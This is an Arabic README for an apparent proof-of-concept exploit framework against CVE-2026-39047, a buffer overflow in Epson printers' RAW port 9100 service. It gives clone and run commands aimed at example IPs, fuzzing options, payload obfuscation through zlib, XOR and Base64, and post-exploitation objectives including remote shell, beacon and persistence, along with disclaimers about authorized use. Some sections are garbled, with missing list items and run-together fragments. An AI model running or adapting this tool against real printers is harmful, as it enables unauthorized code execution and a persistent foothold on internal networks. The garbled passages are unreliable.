
إطار عمل استغلال بروتوكول RAW لطابعات إبسون
المستودع: https://github.com/J4ck3LSyN-Gen2/CVE-2026-39047
سكربت الإثبات (PoC): poc.py
الهدف المحاكى: mock_printer.py
المؤلف: J4ck3LSyN
يوضح هذا الإطار ثغرة CVE-2026-39047 - وهي تجاوز سعة مخزن مؤقت عن بُعد في طابعات إبسون متعددة الوظائف (لا سيما L14150 FL27PB) عند معالجة حمولات تالفة أو ضخمة عبر بروتوكول طباعة RAW عبر TCP (عادةً على المنفذ 9100).
يمكن أن يؤدي الاستغلال الناجح إلى تنفيذ تعليمات برمجية عشوائية في البيئة المدمجة للطابعة، مما يتيح:
يركز هذا الإثبات (PoC) على تأطير النقل (transport framing)، وإخفاء الحمولة (payload obfuscation)، وتقنيات الفازينغ (fuzzing)، وسلوكيات ما بعد الاستغلال المرحلية المناسبة لعمليات الفريق الأحمر، وبحوث الثغرات، والاختبارات الدفاعية.
[!WARNING]
- يمكن لهذه الأداة أن تؤدي (وستؤدي) إلى تنفيذ تعليمات برمجية عن بُعد (RCE) على الطابعات القابلة للاستغلال.
- الاستخدام غير المصرح به، أو المسح، أو الاستغلال للأنظمة التي لا تمتلكها أو ليس لديك إذن كتابي صريح لاختبارها هو أمر غير قانوني وقد ينتهك قوانين الاحتيال وإساءة استخدام الحاسوب (مثل CFAA في الولايات المتحدة)، و__لوائح حماية البيانات__، و__سياسات المؤسسات__.
لا يتحمل المؤلف أي مسؤولية عن أي ضرر أو فقدان بيانات أو انقطاع خدمة أو عواقب قانونية ناتجة عن استخدام هذا الكود أو إساءة استخدامه.- استخدمها فقط في بيئات معمل معزول مع أجهزة تتحكم فيها.
- احصل دائمًا على تفويض صريح قبل أي اختبار.
- يتضمن الكود وضعي التشغيل التجريبي (dry-run) و_السلبي (passive)_ للمساعدة في التحليل الآمن.
يُشجع بشدة على الإفصاح المسؤول والاستخدام الأخلاقي.- قم بتحديث أجهزتك فور توفر تحديثات البائع.
- غالبًا ما تكون الطابعات على شبكات داخلية تتمتع بثقة عالية ومراقبة محدودة، مما يجعلها أسطح هجوم جذابة.
المراجع:
PRT2).mock_printer.py للاختبار المحلي الآمن (تتعطل عند الحمولات الضخمة).socket, asyncio, argparse, zlib, hashlib, إلخ.)استنساخ المستودع:
git clone https://github.com/J4ck3LSyN-Gen2/CVE-2026-39047.git
cd CVE-2026-39047
جعل السكربتات قابلة للتنفيذ:
chmod +x poc.py mock_printer.py
(اختياري) الاختبار باستخدام طابعة المحاكاة في طرفية واحدة:
./mock_printer.py
./poc.py -t <TARGET_IP> [OPTIONS]
أمثلة:
اختبار أساسي (baseline):
./poc.py -t 192.168.1.100
تشغيل فازينغ:
./poc.py -t 192.168.1.100 --fuzz --techniques cyclic random
استيلاء مرحلي (للمختبر فقط):
./poc.py -t 192.168.1.100 --hijack --objective shell --dry-run
حملة كاملة مع هدف محاكى:
# Terminal 1
./mock_printer.py
# Terminal 2
./poc.py -t 127.0.0.1 --fuzz --hijack --objective stage1
bTransportFrame() يغلّف الحمولات بترويسة PRT2 + الطول.lObf): ضغط zlib → قناع XOR ديناميكي (مشتق من بذرة) → Base64.gModernPayload() و gPostPayload() لأنماط وأوامر مرحلية متنوعة.راجع التوثيق المضمّن (docstrings) وتعليقات الكود لمزيد من التفاصيل.
PRT2.يُقدَّم هذا الإثبات (PoC) حصريًا لأغراض تعليمية وبحثية واختبارات أمنية مصرح بها. قد يؤدي إساءة الاستخدام إلى عواقب وخيمة. مالك المستودع غير مسؤول عن أي ضرر يحدث.
| الخيار | الوصف |
|---|
-t, --target | عنوان IP الهدف (مطلوب) |
-p, --port | المنفذ (الافتراضي: 9100) |
--passive | وضع الاستطلاع السلبي (إرسال حمولات الفحص فقط) |
--fuzz | تفعيل الفازينغ متعدد التقنيات |
--hijack | تفعيل تجهيز مرحلة ما بعد الاستغلال |
--objective | stage1 | shell | beacon | persistence |
--callback | معرّف/سلسلة استدعاء اختيارية |
--capability | minimal | busybox | linux (يؤثر على تغليف الأوامر) |
--dry-run | توليد الحمولات لكن لا يرسلها |
--techniques | قائمة مفصولة بمسافات (مثل: cyclic format sled random) |
--delay | التأخير بين الحمولات بالثواني (الافتراضي: 1.6) |